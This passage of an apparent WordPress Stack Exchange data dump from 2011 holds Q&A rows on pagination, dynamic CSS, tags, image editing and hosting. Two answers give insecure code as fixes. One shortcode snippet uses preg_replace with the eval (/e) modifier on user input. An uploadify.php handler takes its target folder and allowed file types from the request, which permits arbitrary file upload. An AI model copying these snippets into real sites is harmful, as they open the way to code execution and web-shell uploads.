       $re .= '&amp;lt;li&amp;gt;&amp;lt;a href=&quot;'.$baseURL.'page/'.$i.'/'.$qs.'&quot;&amp;gt;'.$i.'&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;'; &#xA;            } &#xA;        } &#xA;        // Next link? &#xA;        if ( $page &amp;lt; $query-&amp;gt;max_num_pages ) { &#xA;        $re .= '&amp;lt;li&amp;gt;&amp;lt;a href=&quot;'.$baseURL.'page/'.($page+1).'/'.$qs.'&quot;&amp;gt;next »&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;'; &#xA;        } &#xA;        $re .= '&amp;lt;/ul&amp;gt;';  &#xA;        if ($echo){&#xA;            echo $re;&#xA;        }else{&#xA;            return $re;&#xA;        }&#xA;    }  &#xA;}  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;then add the paged parameter to your shortcode query and get the current page permalink:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;global $post;&#xA;$baselink = get_permalink($post-&amp;gt;ID);&#xA;extract(shortcode_atts(array(&quot;country&quot; =&amp;gt; '' ), $atts));&#xA;$country = preg_replace('~?*([0-9a-f]+);~ei', 'chr(hexdec(&quot;\\1&quot;))', $country ); &#xA;$page = (get_query_var('paged')) ? get_query_var('paged') : 1; &#xA;$argsq = array (&#xA;    'post_type' =&amp;gt; 'quote',&#xA;    'country' =&amp;gt; $country,&#xA;    'orderby' =&amp;gt; 'meta_value', // you have to specify a meta_key for this to work&#xA;    'page' =&amp;gt; $page &#xA;);&#xA;&#xA;&#xA;$testim= get_posts($argsq );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and just before you return the pagination with your output:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;return $output .pagination($testim,$baselink,false);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-03-21T11:30:46.787" CommentCount="2" />
  <row Id="12618" PostTypeId="2" ParentId="12599" CreationDate="2011-03-21T11:37:55.207" Score="1" ViewCount="" Body="&lt;p&gt;take a look at &lt;a href=&quot;http://wordpress.org/extend/plugins/sidebar-generator/&quot; rel=&quot;nofollow&quot;&gt;Sidebar Generator&lt;/a&gt; it lets you specify a sidebar on a per-page/per-post basis.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;some of its main features are:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Generate unlimited sidebars&lt;/li&gt;&#xA;&lt;li&gt;pick a sidebar on a per-page and per-post basis&lt;/li&gt;&#xA;&lt;li&gt;unique CSS classes for each sidebar for customizable looks&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-03-21T11:37:55.207" />
  <row Id="12619" PostTypeId="1" AcceptedAnswerId="12620" CreationDate="2011-03-21T11:47:42.880" Score="0" ViewCount="252" Body="&lt;p&gt;All theme styles are in style.css file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's say first line looks like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;body {&#xA;    background-color: #fff;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now, I've created an option in admin panel named body_bg. User types #000 there and I want the value in style.css to change.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I achieve that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The easiest way to me looks like I have to rename style.css to .php, and just do:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php header(&quot;Content-type: text/css&quot;); ?&amp;gt;&#xA;&#xA;body {&#xA;     background-color:  &amp;lt;?php echo get_option('body_bg');?&amp;gt;   ;&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And then just link style.php in empty style.css file. It's perfectly valid and works, but I've never seen a theme with style.php file, so how do people modify their stylesheets dynamically?&lt;/p&gt;&#xA;" OwnerUserId="1869" LastActivityDate="2011-03-21T12:44:07.443" Title="How do you modify CSS files via admin panel?" Tags="&lt;wp-admin&gt;&lt;admin&gt;&lt;css&gt;&lt;stylesheet&gt;" AnswerCount="2" />
  <row Id="12620" PostTypeId="2" ParentId="12619" CreationDate="2011-03-21T12:17:13.677" Score="1" ViewCount="" Body="&lt;p&gt;If you're wanting styles to be dynamic, then you'll have to emit your CSS file as you are suggesting. However, as WordPress often uses styles.css as a theme definition file, renaming styles.php &lt;em&gt;might&lt;/em&gt; cause problems.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It might be better to collect all the 'dynamic' definitions into a separate file (eg dynamic-styles.php) and import them from your main style.css file via &lt;code&gt;@import(url)&lt;/code&gt;,&lt;/p&gt;&#xA;" OwnerUserId="490" LastActivityDate="2011-03-21T12:17:13.677" CommentCount="3" />
  <row Id="12621" PostTypeId="1" AcceptedAnswerId="12622" CreationDate="2011-03-21T12:24:10.147" Score="0" ViewCount="212" Body="&lt;p&gt;i'm displaying all posts by category in my template and i was wondering:&#xA;is it possible to get a list of all tags used by that category?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i only found out how to make a tag-dropdown but it's from all articles,&#xA;i couldn't find out yet how to filter it by category - any ideas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;here's the link&#xA;&lt;a href=&quot;http://wphacks.com/how-to-display-wordpress-tags-dropdown-menu/&quot; rel=&quot;nofollow&quot;&gt;http://wphacks.com/how-to-display-wordpress-tags-dropdown-menu/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thx in advance&lt;/p&gt;&#xA;" OwnerUserId="3030" LastActivityDate="2011-03-21T12:31:55.037" Title="get all tags from category" Tags="&lt;categories&gt;&lt;tags&gt;" AnswerCount="1" CommentCount="0" />
  <row Id="12622" PostTypeId="2" ParentId="12621" CreationDate="2011-03-21T12:31:55.037" Score="2" ViewCount="" Body="&lt;p&gt;This shows you how to get tags for a category:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.wprecipes.com/wordpress-trick-function-to-get-tags-related-to-category&quot; rel=&quot;nofollow&quot;&gt;http://www.wprecipes.com/wordpress-trick-function-to-get-tags-related-to-category&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="490" LastActivityDate="2011-03-21T12:31:55.037" CommentCount="2" />
  <row Id="12623" PostTypeId="2" ParentId="12592" CreationDate="2011-03-21T12:39:06.293" Score="0" ViewCount="" Body="&lt;p&gt;your uploadify.php is all inside a comment so its not really saving the file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;change it with this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;if (!empty($_FILES)) {&#xA;    $tempFile = $_FILES['Filedata']['tmp_name'];&#xA;    $targetPath = $_SERVER['DOCUMENT_ROOT'] . $_REQUEST['folder'] . '/';&#xA;    $targetFile =  str_replace('//','/',$targetPath) . $_FILES['Filedata']['name'];&#xA;&#xA;    $fileTypes  = str_replace('*.','',$_REQUEST['fileext']);&#xA;    $fileTypes  = str_replace(';','|',$fileTypes);&#xA;    $typesArray = split('\|',$fileTypes);&#xA;    $fileParts  = pathinfo($_FILES['Filedata']['name']);&#xA;&#xA;    if (in_array($fileParts['extension'],$typesArray)) {&#xA;        // Uncomment the following line if you want to make the directory if it doesn't exist&#xA;        // mkdir(str_replace('//','/',$targetPath), 0755, true);&#xA;&#xA;        move_uploaded_file($tempFile,$targetFile);&#xA;        echo str_replace($_SERVER['DOCUMENT_ROOT'],'',$targetFile);&#xA;    } else {&#xA;        echo 'Invalid file type.';&#xA;    }&#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and also make sure you validate the file type because i had a site hacked after a hacker uploaded a php shell script with uploadify.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-03-21T12:39:06.293" CommentCount="10" />
  <row Id="12624" PostTypeId="2" ParentId="12619" CreationDate="2011-03-21T12:44:07.443" Score="1" ViewCount="" Body="&lt;p&gt;What i'd personally do is just add the additional CSS into the head whenever the theme option for styling is set.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All themes(or well coded ones) place their stylesheet before &lt;code&gt;wp_head&lt;/code&gt;, which means we can reliably(semi) hook on and add some additional styling that will override the theme's natural(default) styling..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Get the option once&#xA;$css_option = get_option( 'your_option' );&#xA;&#xA;// Add action when there's a non-empty value&#xA;if( !empty( $css_option ) )&#xA;    add_action( 'wp_print_styles', 'custom_css_stuff' );&#xA;&#xA;function custom_css_stuff() {&#xA;    // Bring the data into the scope of the callback function&#xA;    global $css_option;&#xA;    ?&amp;gt;&#xA;&amp;lt;style type=&quot;text/css&quot;&amp;gt;&#xA;body { background-color: &amp;lt;?php echo $css_option; ?&amp;gt;; }&#xA;&amp;lt;/style&amp;gt;&#xA;    &amp;lt;?php&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This outputs the css after the theme's stylesheet which will allow the CSS to override whatever was set by the stylesheet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The action is only added when the option isn't empty, &lt;code&gt;get_option&lt;/code&gt; will also return an empty string when the option doesn't exist, so this covers both not being set(an empty value) or the option not existing.&lt;/p&gt;&#xA;" OwnerUserId="1468" LastActivityDate="2011-03-21T12:44:07.443" CommentCount="1" />
  <row Id="12625" PostTypeId="1" CreationDate="2011-03-21T12:48:26.520" Score="0" ViewCount="67" Body="&lt;p&gt;Is it possible to add custom fields to the link manager in wordpress?&lt;br&gt;&#xA;And if so, how can we do it?&lt;/p&gt;&#xA;" OwnerUserId="4105" LastEditorUserId="1468" LastEditorDisplayName="" LastEditDate="2011-03-22T09:45:35.153" LastActivityDate="2011-03-22T09:45:35.153" Title="Can i use custom fields with the link manager?" Tags="&lt;custom-field&gt;&lt;link&gt;" CommentCount="2" />
  <row Id="12626" PostTypeId="2" ParentId="11651" CreationDate="2011-03-21T13:15:32.733" Score="1" ViewCount="" Body="&lt;p&gt;&lt;br&gt;&#xA;what you are describing here (cropped big size image in Edit Media screen) is a perfectly normal behavior when you use &lt;code&gt;Apply changes to: All image sizes&lt;/code&gt; while cropping image and I believe the same thing could happen during upload when &lt;code&gt;$crop&lt;/code&gt; param is set to &lt;code&gt;true&lt;/code&gt; for all registered image sizes (similar to how  &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/add_image_size&quot; rel=&quot;nofollow&quot;&gt;add_image_size&lt;/a&gt; function works) As suggested above - deactivate image-related plugins and see what happens.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway - the strangest thing is that there's no &lt;code&gt;Restore Original Image&lt;/code&gt; button in your screenshot. This button is exactly what you need to work with the original size in editor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;See the update below...&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can replicate this only AFTER I crop the image but BEFORE i save it. The &lt;code&gt;Restore Original Image&lt;/code&gt; button appears there as soon as I come back to edit it again after saving it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;See my screenshot: &#xA;&lt;img src=&quot;http://i.stack.imgur.com/zTAQD.png&quot; alt=&quot;After saving it and coming back&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;This is apparently not a final answer, but it doesn't really fit the comment format so it ended up here...&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE:&lt;/strong&gt;&lt;br&gt;&#xA;From &lt;a href=&quot;http://xref.yoast.com/trunk/wp-admin/includes/image-edit.php.source.html#l23&quot; rel=&quot;nofollow&quot;&gt;looking at the source of image-edit.php&lt;/a&gt; it seems that a crucial role in decision whether to display the 'Restore..' link is a value of &lt;code&gt;_wp_attachment_backup_sizes&lt;/code&gt; post meta field of a given attachment.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would suggest checking that value for the problematic attachments. You can use something like this: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;pre&amp;gt;&#xA;&amp;lt;?php print_r( get_post_meta( $your_attachment_id_here, '_wp_attachment_backup_sizes', true ) ); ?&amp;gt;&#xA;&amp;lt;/pre&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;(or use the &lt;a href=&quot;http://wordpress.org/extend/plugins/wordpress-console/&quot; rel=&quot;nofollow&quot;&gt;WordPress Console&lt;/a&gt; plugin)&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe you will find something odd there. Try also comparing these values between the broken and correctly displayed attachments... Again I know I'm not giving you the answer you'd like to hear but I believe this could be the right direction to investigate.&#xA;Cheers &lt;/p&gt;&#xA;" OwnerUserId="2110" LastEditorUserId="2110" LastEditorDisplayName="" LastEditDate="2011-03-21T23:01:27.773" LastActivityDate="2011-03-21T23:01:27.773" CommentCount="2" />
  <row Id="12627" PostTypeId="1" AcceptedAnswerId="12645" CreationDate="2011-03-21T13:25:10.573" Score="2" ViewCount="275" Body="&lt;p&gt;Hi to all I'm trying to create an advanced control panel for my first Wordpress template but I'm not able to add a function that I will need.&#xA;The function that I'm trying to add is the possibility to choose the position of a DIV (left and bottom) via Admin Panel.&#xA;(Apologize me for my really bad english)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the code I have in my functions.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$shortname = appacqua&#xA;array( &quot;name&quot; =&amp;gt; &quot;Point on the map&quot;,&#xA;    &quot;type&quot; =&amp;gt; &quot;section&quot;),&#xA;array( &quot;type&quot; =&amp;gt; &quot;open&quot;),&#xA;array(  &quot;name&quot; =&amp;gt; &quot;Have I to activate zona 1?&quot;,&#xA;        &quot;desc&quot; =&amp;gt; &quot;Select if you want to show the first zone&quot;,&#xA;        &quot;id&quot; =&amp;gt; $shortname.&quot;_zona1c&quot;,&#xA;        &quot;type&quot; =&amp;gt; &quot;checkbox&quot;,&#xA;        &quot;std&quot; =&amp;gt; &quot;false&quot;),&#xA;array( &quot;name&quot; =&amp;gt; &quot;Zona 1&quot;,&#xA;    &quot;desc&quot; =&amp;gt; &quot;Choose the position&quot;,&#xA;    &quot;id&quot; =&amp;gt; $shortname.&quot;_zona1x&quot;,&#xA;    &quot;type&quot; =&amp;gt; &quot;text&quot;,&#xA;    &quot;std&quot; =&amp;gt; &quot;Left:???&quot;),&#xA;array( &quot;type&quot; =&amp;gt; &quot;close&quot;),&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I can see &quot;box&quot; in my Admin Panel and I have no problems with Checkbox, if I echo $shortname.&quot;_zona1x&quot; It shows the number, the only problem I have is when I try to add this to my style.css:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.zona1{width:27px;height:27px;background:url(icone/1.png) no-repeat;position:absolute;bottom:0;left:&amp;lt;?php echo $appacqua_zona1x;?&amp;gt;px;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It doesn't work... If I use Google Chrome to Ispect the element it gives me something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;width: 27px;&#xA;height: 27px;&#xA;background: url(icone/1.png) no-repeat;&#xA;position: absolute;&#xA;bottom: 0;&#xA;left: &amp;lt;?php echo $appacqua_zona1x;?&amp;gt;px;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What am I doing wrong?&#xA;Thank you very much for you help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do you know if there is a way to create also a preview of this modification INSIDE the control panel (like inside an iFrame or stuff like this).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's say that I'm a &quot;self-made programmer&quot; :P so please write &quot;slowly&quot; (lol) and be kind with me, thank you a lot!&lt;/p&gt;&#xA;" OwnerUserId="4107" LastEditorUserId="2487" LastEditorDisplayName="" LastEditDate="2011-03-21T15:38:09.497" LastActivityDate="2011-03-21T16:43:58.123" Title="Modify CSS via Theme Control Panel" Tags="&lt;admin&gt;&lt;functions&gt;&lt;css&gt;&lt;template&gt;&lt;theme-options&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="1" />
  <row Id="12628" PostTypeId="2" ParentId="12613" CreationDate="2011-03-21T13:40:45.297" Score="0" ViewCount="" Body="&lt;p&gt;Finally figured out why. Facebook only allows images with 3:1 ratio.&lt;/p&gt;&#xA;" OwnerUserId="781" LastActivityDate="2011-03-21T13:40:45.297" />
  <row Id="12629" PostTypeId="1" AcceptedAnswerId="12633" CreationDate="2011-03-21T13:47:30.417" Score="-1" ViewCount="77" Body="&lt;p&gt;I currently have a &lt;strong&gt;Blogspot&lt;/strong&gt; blog and I'm thinking of making the leap to a &lt;em&gt;self-hosted&lt;/em&gt; &lt;strong&gt;WordPress&lt;/strong&gt; one instead. Everything I've seems to suggest this is the best way to go for the best possible experience, but main concern is customizability.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've messed around with a few Blogspot blogs and I know that you're given pretty much full access in terms of changing the look of your blog. I can get in there pretty &quot;deep&quot; and do whatever I like.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I've read about WordPress, though, a lot of people complain about the lack of customization. Is this true? Are they getting confused with the non-self-hosted version? Just how much visual customization will I get in a &lt;em&gt;self-hosted&lt;/em&gt; WP blog? I'd really like to know that I have full control over how things look before I take the plunge!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks a for any help.&lt;/p&gt;&#xA;" OwnerUserId="4109" LastEditorUserId="4109" LastEditorDisplayName="" LastEditDate="2011-03-21T14:17:24.510" LastActivityDate="2011-03-21T14:25:54.010" Title="How customizable is a self-hosted WordPress blog compared to a Blogger blog?" Tags="&lt;theme-development&gt;&lt;css&gt;&lt;customization&gt;&lt;template&gt;&lt;comparison&gt;" AnswerCount="2" CommentCount="4" />
  <row Id="12630" PostTypeId="2" ParentId="12629" CreationDate="2011-03-21T13:49:43.100" Score="2" ViewCount="" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;&quot;a lot of people seem to say that you only get access to the CSS once you've paid.&quot;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I think you're confusing WordPress.com with self-hosted WordPress. WordPress.com is a blog service similar in concept to Blogger. Self-hosted WordPress is a different beast entirely, and you have full access to the code running your blog.&lt;/p&gt;&#xA;" OwnerUserId="490" LastActivityDate="2011-03-21T13:49:43.100" />
  <row Id="12631" PostTypeId="1" AcceptedAnswerId="12632" CreationDate="2011-03-21T14:02:44.097" Score="1" ViewCount="187" Body="&lt;p&gt;Basic question, but I want to enable page templates. I have one theme which has page templates enabled. I switched to another but there is no option to change the template, even when creating a new page. How do I switch this option on?&#xA;I've had a root around on the Codex and forum but can't find it.&lt;/p&gt;&#xA;" OwnerUserId="970" LastActivityDate="2011-03-21T14:05:50.417" Title="Enable page templates. How?" Tags="&lt;template&gt;&lt;options&gt;" AnswerCount="1" />
  <row Id="12632" PostTypeId="2" ParentId="12631" CreationDate="2011-03-21T14:05:50.417" Score="3" ViewCount="" Body="&lt;p&gt;Chances are that the theme you've switched to has no page templates defined - they exist on a per theme basis.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the Codex reference: &lt;a href=&quot;http://codex.wordpress.org/Pages#Page_Templates&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Pages#Page_Templates&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="490" LastActivityDate="2011-03-21T14:05:50.417" CommentCount="1" />
  <row Id="12633" PostTypeId="2" ParentId="12629" CreationDate="2011-03-21T14:25:54.010" Score="1" ViewCount="" Body="&lt;p&gt;The front-end customization options in self-hosted WordPress are absolute. You can edit whatever you want in PHP/HTML templates and CSS style sheets.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While WordPress comes with single theme (&quot;Twenty Ten&quot; at moment) the availability of third party free and paid themes for it is &lt;strong&gt;huge&lt;/strong&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;See:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/29/where-can-i-download-wordpress-themes-from&quot;&gt;Where can I download WordPress themes from?&lt;/a&gt; for good list of sources for ready-made themes;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/3725/wordpress-frameworks-and-parent-themes&quot;&gt;WordPress frameworks and parent themes&lt;/a&gt; if you are more into developing or deeply customizing one yourself.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-03-21T14:25:54.010" CommentCount="1" />
  <row Id="12634" PostTypeId="1" CreationDate="2011-03-21T14:48:16.590" Score="0" ViewCount="121" Body="&lt;p&gt;Is there any hook for a tag page, so I can alter it's content before outputting?&lt;/p&gt;&#xA;" OwnerUserId="4110" LastActivityDate="2011-03-21T16:45:28.000" Title="WordPress Tag Page Hook?" Tags="&lt;tags&gt;" AnswerCount="2" CommentCount="3" FavoriteCount="0" />
  <row Id="12635" PostTypeId="2" ParentId="12369" CreationDate="2011-03-21T15:27:41.563" Score="0" ViewCount="" Body="&lt;p&gt;I couldn't get the filter working as @Bainternet suggested. I've tried building the whole SQL, but I'm sure I'm doing something wrong as it doesn't work :S Would really appreciate any help. Thanks!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've hard coded the &lt;code&gt;event_type&lt;/code&gt; and &lt;code&gt;event_date&lt;/code&gt; meta key value for the time being.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  SELECT posts.*&#xA;  FROM wp_posts as posts&#xA;  LEFT OUTER JOIN wp_postmeta as postmeta ON posts.ID = postmeta.post_id&#xA;  LEFT OUTER JOIN wp_term_relationships as relationships ON posts.ID = relationships.object_id&#xA;  LEFT OUTER JOIN wp_term_taxonomy as taxonomy ON relationships.term_taxonomy_id = taxonomy.term_taxonomy_id&#xA;  LEFT OUTER JOIN wp_terms as terms ON taxonomy.term_id = terms.term_id&#xA;  WHERE posts.post_type = 'event' AND posts.post_status = 'publish' &#xA;  AND postmeta.meta_key = 'event_date' AND postmeta.meta_value &amp;gt;= '2011-02-02'&#xA;  AND terms.slug = 'kirtan' AND taxonomy.taxonomy = 'event_type' AND taxonomy.count &amp;gt; 0&#xA;  GROUP BY taxonomy.taxonomy&#xA;  ORDER BY terms.slug ASC, postmeta.meta_value ASC&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1343" LastActivityDate="2011-03-21T15:27:41.563" />
  <row Id="12636" PostTypeId="2" ParentId="5489" CreationDate="2011-03-21T15:41:46.690" Score="0" ViewCount="" Body="&lt;p&gt;You can use the WP query_posts to filter about your custom values; ean example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;query_posts('meta_key=my_type&amp;amp;meta_compare=&amp;lt;=&amp;amp;my_value=20&amp;amp;orderby=my_value');&#xA;if (have_posts()) :&#xA;while ( have_posts() ) : the_post();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But, i think you must replace the time-values for readable string, maybe woth strotime, that you have the same format for the query.&lt;/p&gt;&#xA;" OwnerUserId="170" LastActivityDate="2011-03-21T15:41:46.690" CommentCount="2" />
  <row Id="12637" PostTypeId="2" ParentId="12502" CreationDate="2011-03-21T15:44:15.800" Score="1" ViewCount="" Body="&lt;p&gt;It is not possible to &quot;move&quot; - you must unset the item and add new to your structure in the Admin Bar. See the link from the answer on Rays comment.&lt;/p&gt;&#xA;" OwnerUserId="170" LastActivityDate="2011-03-21T15:44:15.800" />
  <row Id="12638" PostTypeId="1" AcceptedAnswerId="12643" CreationDate="2011-03-21T16:04:28.910" Score="1" ViewCount="135" Body="&lt;p&gt;I have always hosted my own websites on my own hardware, this includes WordPress. I always see on shared hosting sites &quot;WordPress Hosting&quot; which looks to be the exact same as their regular hosting plan.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I missing something, or is there a difference, and how can I optimize my servers for WordPress?&lt;/p&gt;&#xA;" OwnerUserId="474" LastActivityDate="2011-03-21T18:50:45.787" Title="WordPress hosting optimized servers - Is this just a sales gimmick?" Tags="&lt;server&gt;&lt;hosting&gt;&lt;optimization&gt;&lt;shared-hosting&gt;" AnswerCount="3" />
  <row Id="12639" PostTypeId="2" ParentId="12627" CreationDate="2011-03-21T16:08:44.630" Score="2" ViewCount="" Body="&lt;p&gt;The style.css file is not a php file, thus it cannot execute php code. If you want to include those styles, you will need to either build a dynamic css generator, and include that on your theme's header, or include the styles in a style tag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have seen it done both ways, and I would consider either acceptable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The css generator can be cached by the user, so it is better performance wise.&lt;/p&gt;&#xA;" OwnerUserId="474" LastActivityDate="2011-03-21T16:08:44.630" />
  <row Id="12640" PostTypeId="1" CreationDate="2011-03-21T14:45:51.713" Score="0" ViewCount="50" Body="&lt;p&gt;Is there any hook for a tag page, so I can alter it's content before outputting?&lt;/p&gt;&#xA;" LastActivityDate="2011-03-21T17:46:30.460" Title="WordPress Tag Page Hook?" Tags="&lt;php&gt;" AnswerCount="0" CommentCount="0" FavoriteCount="0" />
  <row Id="12641" PostTypeId="1" AcceptedAnswerId="12662" CreationDate="2011-03-21T16:09:46.377" Score="0" ViewCount="125" Body="&lt;p&gt;I'm looking for an answer from someone who's implemented HyperDB or has knowledge of it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a database which has just passed the 100mb mark a week or so ago, the problem is my host only allows databases of 100mb a time. I was looking to implement HyperDB but wanted to find out some information first.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My current database is around 100mb alone on the posts table of the database. If I implement HyperDB will this table get split between two databases?&lt;/p&gt;&#xA;" OwnerUserId="1859" LastEditorUserId="498" LastEditorDisplayName="" LastEditDate="2011-04-08T19:00:58.100" LastActivityDate="2011-04-08T19:00:58.100" Title="HyperDB question - Is it possible to split tables?" Tags="&lt;database&gt;&lt;mysql&gt;&lt;hyperdb&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="12642" PostTypeId="1" AcceptedAnswerId="12649" CreationDate="2011-03-21T16:13:05.920" Score="1" ViewCount="168" Body="&lt;p&gt;I've created a custom post type named &lt;em&gt;agent&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a page that lists all agents.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I add an agent I have a whole series of custom meta boxes that can be filled out, region, specialty, language...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd like to add a series of dropdown boxes on the front end that will populate with all the terms from each custom meta. For example a regions dropbox would populate with all the regions from all the agents. If I add a new agent in a new region, the dropbox will automatically pick that up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for looking.&lt;/p&gt;&#xA;" OwnerUserId="4090" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2011-03-22T18:08:36.107" LastActivityDate="2011-03-24T06:45:07.900" Title="Filter custom posts using auto populated dropdown selectors" Tags="&lt;custom-post-types&gt;&lt;custom-field&gt;&lt;search&gt;" AnswerCount="1" />
  <row Id="12643" PostTypeId="2" ParentId="12638" CreationDate="2011-03-21T16:14:54.577" Score="0" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@Jeremy:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course you can optimize your servers like the hosting companies do, it just depends on how much skill you have and how much effort you want to take on. Here's a community wiki that might give you an idea of what to consider doing:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/266/best-of-breed-features-of-a-high-end-wordpress-web-host&quot;&gt;&lt;strong&gt;Best-of-Breed Features of a High-End WordPress Web Host?&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;One thing that comes to mind as a great feature is to &lt;a href=&quot;http://joneslee85.wordpress.com/2010/03/13/howto-nginx-wordpress-ubuntu-shortest-setup/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;use nginx as a caching proxy server&lt;/strong&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="89" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2011-03-21T17:13:40.610" LastActivityDate="2011-03-21T17:13:40.610" />
  <row Id="12644" PostTypeId="1" AcceptedAnswerId="12646" CreationDate="2011-03-21T16:20:20.017" Score="2" ViewCount="98" Body="&lt;p&gt;I'm experimenting with adjusting permalinks (for purely educational experimentation).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What would I need to place in the &quot;Custom Permalink&quot; option to get my post URLs in the form...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;/year/month/post-title-goes-here/&lt;/p&gt;&#xA;" OwnerUserId="366" LastActivityDate="2011-03-21T16:30:05.040" Title="Custom Permalink: /year/month/post-goes-here/?" Tags="&lt;permalinks&gt;" AnswerCount="1" CommentCount="3" />
